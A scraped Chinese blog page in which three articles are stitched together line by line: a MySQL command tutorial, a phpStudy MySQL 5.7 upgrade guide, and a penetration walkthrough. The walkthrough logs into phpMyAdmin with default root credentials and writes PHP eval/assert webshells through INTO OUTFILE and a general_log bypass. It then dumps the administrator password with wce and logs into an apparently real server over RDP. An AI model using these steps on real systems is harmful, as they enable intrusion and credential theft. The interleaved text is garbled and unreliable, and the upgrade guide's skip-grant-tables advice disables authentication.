亲测可用,功底知识
分类:计算机编程

今天安装上phpStudy,默认mysql的密码为空,登陆phpMyAdmin报如下的错误:

mysql5.7比之前的一个重大的区别就是在datetime的这个默认值上5.7的可以设置成current_timestamp,而之前的mysql(5.5)版本会报错,所以工作需要,得升级mysql

在前面的phpmyadmin漏洞利用专题中介绍了如何通过root账号来获取webshell,但在现实情况中,由于Mysql版本较高以及配置文件的缘故,往往无法直接通过root账号写入网站真实路劲下获取webshell;通过研究发现其实可以通过一些方法绕过,同样可以获取webshell,下面将整个渗透过程和方法跟大家分享。

一.常用mysql命令行命令

①打开phpStudy的mysql控制台,提示输入密码,开始密码为空,直接按回车

图片 1

 

  1,启动mysql服务 net start mysql.

③输入update user set password=PASSWORD where user='root';

首先:关闭phpstudy,任务管理器里面关闭mysql进程

1.信息收集

       停止mysql服务 net stop mysql

然后就可以愉快的访问了。

1.在mysql官网下载压缩包,我选取的是最新版的5.7.17连接:

 

  2,netstart -na|findstr 3306查看被监听的端口,findstr 用于查找后面的端口是否存在

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

2.趁着下载的时间可以把之前的数据库数据备份下,我把 phpStudy 中 MySQL 文件夹可以重命名下,备用

   目标站点访问其子域名,如图1所示,发现该站点是使用phpStudy2014搭建的,通过phpinfo信息泄露,可以获取网站的绝对路径“D:/phpStudy/WWW”,服务器为Windows Server 2003 ,phpstudy探针文件“D:/phpStudy/WWW/l.php”。

  3,在windowns中登陆mysql控制台的一般过程:

3.把下载的 MySQL 压缩文件解压至 phpStudy 下的 MySQL目录,复制my-default.ini ,重命名为 my.ini。

 

           a,按开始的菜单键 在搜索框中输入cmd后按回车键 此时会显示控制台所在的默认盘符下面 如果你的mysql安装的盘符也在这个盘符下 直接用命令:cd      程序默认切换到根目录下 再次使用 cd空格mysql路径  例如:我的默认安装在D:Program Files (x86)phpStudyMySQLbin  首先 输入 cd   -〉(进入到默认盘符的根目录下)—〉D:按回车-〉cd Program Files (x86)phpStudyMySQLbin 此时切换到mysql的安装目录下 直接输入命令 mysql.exe -h[ip地址]空格-u[用户名]空格-p[密码]空格[数据库名称]  例如:mysql.exe -hlocalhost -uroot -proot 数据库名称 按回车就可以进入mysql的数据库了.另一种写法:mysql.exe -h[ip地址]空格-u[用户名]空格-p[数据库名称] 按回车 此时按完回车键后需要输入用户名的密码。

打开 my.ini,找到 #basedir 处编辑:(我的安装在了C盘,路径根据phpstudy的安装路径选择)

图片 2

  4,进入mysql命令行工具后,可以使用status 或 s查看运行环境的信息。

basedir = C:phpStudy7MySQL

 

  5,切换连接数据库的语句:use 数据库名称。

datadir = C:phpStudy7MySQLdata

图1获取网站真实路劲等信息

  6,显示所有数据库的语句:show databases; 。

4.下面执行在 cmd 下进入 MySQL 的 bin 目录(我的是 C:phpStudy7MySQLbin),执行如下图:

 

      7,显示数据库中所有表的语句:show tables; 。

(初始化数据库:mysqld --initialize)

2.获取root账号和密码

  8,显示某个表创建时的全部信息:show create table 表名; 。

图片 3

   phpStudy默认账号为root/root,使用其进行登录,成功登录系统,如果不是这个账号和密码,可以使用phpmyadmin暴力破解工具进行暴力破解,如图2所示,登录后看目前使用的数据应该是www数据库。查看mysql数据库中的user表中的数据,如图3所示,清一色的相同密码。

  9,查看表的具体属性信息及表中各字段的描述的语句:

补充:如果是timestamp的错误,在my.ini中添加

 

            describe 表名; 或者 desc 表名; 。

[mysqld]

图片 4

二 mysql 常用的sql语句:

explicit_defaults_for_timestamp=true

 

  1,创建数据库 Create database 数据库名称:

如果有[ERROR]

图2获取root账号和密码

  2,删除数据库 drop database 数据库名称  删除前可以判断数据库是否存在语句 drop database if exits 数据库名称;

mysqld: Error while setting value

 

  3,创建表名:create table 表名(字段1 数据类型等属性,字段1 数据类型);

''ONLY_FULL_GROUP_BY,NO_AUTO_VALUE_ON_ZERO,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,'

图片 5

  例:create table mytable (id int(9) not null auto_increment,username char(20) not null );

to 'sql_mode'

 

  4,删除表语句:drop table 表名; 例: drop mytable;

在my.ini中添加[mysqld]

图3 mysql数据库user表多个账号使用相同密码

  5,添加数据:insert into  表名 (字段1,字段2,字段3...) values (值1,值2,值3....);

#sql_mode='NO_AUTO_VALUE_ON_ZERO,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,

 

  例: insert into mytable (username) values ('lisi');

ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION,PIPES_AS_CONCAT,ANSI_QUOTES'

3.直接导出webshell失败

  6,替换表中数据 replace into 表名 (字段1,字段2,字段3,...) values (值1,值2,值3,....)

这一行前面没有井号:sql_mode='NO_AUTO_CREATE_USER'

   既然知道了网站真实路径“D:/phpStudy/WWW”和root账号,最简单的方法就是直接导出webshell:

  例: replace into mytable  (username) values ('zhangsan') where username='lisi';

(E:phpstudyMySQLbin>mysqld --initialize --user=mysql --console)

select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'D:/phpStudy/WWW/cmd.php',如图4所示,在以往是顺利成章的获取webshell,但这次显示错误信息:

  另一种情况:两个表之间的数据替换 replace into  表名(字段1,字段2,字段3,...) select 相应的字段名称  from 表1 条件

如果是错误:initialize specified but the data directory has files in it.aborting

 

  例:replace into mytable  (username) select username from user ;

管理员身份运行CMD。这个在C盘systerm32文件下可以找到,或者百度管理员身份运行cmd

 

  7,删除表中的信息:delete from 表名; 或者 delete from 表名 where 条件语句

然后cd 至mysql下的bin,运行mysql install,然后就成功了

1
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

       例:delete from  mytable;  delete from mytable where username='zhangsan';

执行完后,重启phpstudy

 

  8,创建数据库用户: create user 用户名1 identified by '密码1',用户名2 identified by '密码2'.... 一条语句可以创建多个数据库用户。

5.此时登入 MySQL 报错:#1045 无法登录 MySQL 服务器,

意思是Mysql服务器运行“--secure-file-priv”选项,所以不能执行这个语句。

      9,用户权限的控制(安全无小事):grant

打开 my.ini,找到 [mysqld],在下面添加:

 

  查看用户权限先决条件:该用户需要有mysql数据库的select 权限;

skip-grant-tables(此参数用于忘记mysql密码)并保存

图片 6

  查看用户权限:show grants for user; user有两种格式,其一、直接是用户名;其二,用户名@主机名。第一种情况,是用户名@%的简写。 例:show grants for root;

此时使用 root 账号,密码处按回车即可登录。

 

      查看当前用户的权限: show grants for current_user();

6.如果想增加密码,在无密码的情况下进去mysql命令行,找到mysql数据库的user表:修改密码:

图4导出webshell失败

      创建用户使用权限:GRANT ALL ON  数据库名称.* TO 用户名 IDENTIFIED BY "密码";

update user set authentication_string='新密码' where user='root' ;

 

       例: grant all on test.* to test identified by 'test';  给test数据库一个密码是test的用户名为test

7.此时仍然用root密码仍登录不进去的话,在phpstudy修改密码,原来的密码为空

4. secure_file_priv选项

  

 

   在mysql中使用secure_file_priv配置项来完成对数据导入导出的限制,前面的webshell导出就是如此,在实际中常常使用语句来导出数据表内容,例如把mydata.user表的数据导出来:

 

 

1
select * from mydata.user into outfile '/home/mysql/user.txt';

 

在mysql的官方给出了“--secure-file-priv=name Limit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() to files within specified directory”解释,限制导出导入文件到指定目录,其具体用法:

 

(1)限制mysqld不允许导入和导出

 

1
mysqld --secure_file_prive=null

(2)限制mysqld的导入和导出只能发生在/tmp/目录下

 

 

1
mysqld --secure_file_priv=/tmp/

(3)不对mysqld 的导入和导出做限制,在/etc/my.cnf文件中不指定值。

 

5.通过general_log和general_log_file来获取webshell

 

   mysql打开general log之后,所有的查询语句都可以在general log文件中以可读的方式得到,但是这样general log文件会非常大,所以默认都是关闭的。有的时候为了查错等原因,还是需要暂时打开general log的。换句话说general_log_file会记录所有的查询语句,以原始的状态来显示,如果将general_log开关打开,general_log_file设置为一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,通过访问general_log_file指定的文件来获取webshell。在mysql中执行查询:

 

 

 

1
2
3
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

 

   如图5,图6和图7所示,分别打开general_log开关,设置general_log_file文件,执行查询。

 

图片 7

 

图5打开general_log开关

图片 8

 

图6设置general_log_file文件

图片 9

 

图7执行webshell查询

 

 

6.获取webshell

 

   在浏览器中打开地址

 

图片 10

 

图8查看文件

图片 11

 

图9获取webshell

 

7.服务器密码获取

 

  (1)查看服务器权限及用户权限

  通过中国菜刀一句话后门管理工具,打开远程终端命令执行,如图10所示,分别执行“whomai”、“net user”、“net localgroup administrator”命令来查看当前用户的权限,当前系统所有用户,管理员用户情况。

图片 12

 

图10查看当前用户权限

(2)上传wce密码获取工具

    直接执行g86.exe顺利获取管理员密码,如图11所示,开始执行g64.exe没有成功是因为系统是32位操作系统。

图片 13

 

图11获取管理员密码

 

8.获取远程终端端口

 

  通过命令 tasklist /svc | find "TermService"及netstat -ano | find "1792" 命令来获取当前的3389端口为8369端口,tasklist /svc | find "TermService"获取的是远程终端服务对应的进程号,netstat -ano | find "1792"查看进程号1792所对应的端口,在实际过程中1792值会有变化。

图片 14

 

图12获取3389端口

 

9.登录3338

 

  打开mstsc,在连接地址中输入202.58.***.***:8369,输入获取的管理员和密码进行登录,如图13所示,成功登录服务器。

 

图片 15

 

图13登录3389

 

10.总结

 

(1)查看genera文件配置情况

1
show global variables like "%genera%";

(2)关闭general_log

 

 

1
set global general_log=off;

(3)通过general_log选项来获取webshell

 

 

1
2
3
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

本文由澳门新葡8455手机版发布于计算机编程,转载请注明出处:亲测可用,功底知识

上一篇:权力管理,流程管理 下一篇:没有了
猜你喜欢
热门排行
精彩图文
  • 权力管理,流程管理
    权力管理,流程管理
    主页面wenjianceshi.php 我们来做一个流程管理的小程序,那我们首先要创立四张数据库表,图片如下: 我们需要写出六个php页面,分别是新建页面(xinjian.p
  • 二零一五有关梦想的名言名句100句_名言名句_好法
    二零一五有关梦想的名言名句100句_名言名句_好法
    本文实例为大家分享了php实现头像上传预览功能的具体代码,供大家参考,具体内容如下 1、只要不失去希望,就一定能够梦想成真。 2015关于希望的名言警
  • 应用程式开拓平台,Smobiler开采平台
    应用程式开拓平台,Smobiler开采平台
    最前面的话:Smobiler是一个在VS环境中使用.Net语言来开发APP的开发平台,也许比Xamarin更方便 .Net语言 APP开发平台——Smobiler学习日志:如何在手机上实现电
  • NET开拓能源大全
    NET开拓能源大全
    目录 API 应用框架(ApplicationFrameworks) 应用模板(ApplicationTemplates) 人工智能(ArtificialIntelligence) 程序集处理(AssemblyManipulation) 资源(Assets) 认证和授
  • STM32就学笔记之C语言篇
    STM32就学笔记之C语言篇
    【unsigned】 1、rewind(FILE *卡塔尔(英语:State of Qatar):回到文件开头处 2、fprintf(), fscanf(), fgets(), fputs() (1)、fprintf(#FILE *restrict#, #const char *restrict,...#卡塔尔(英语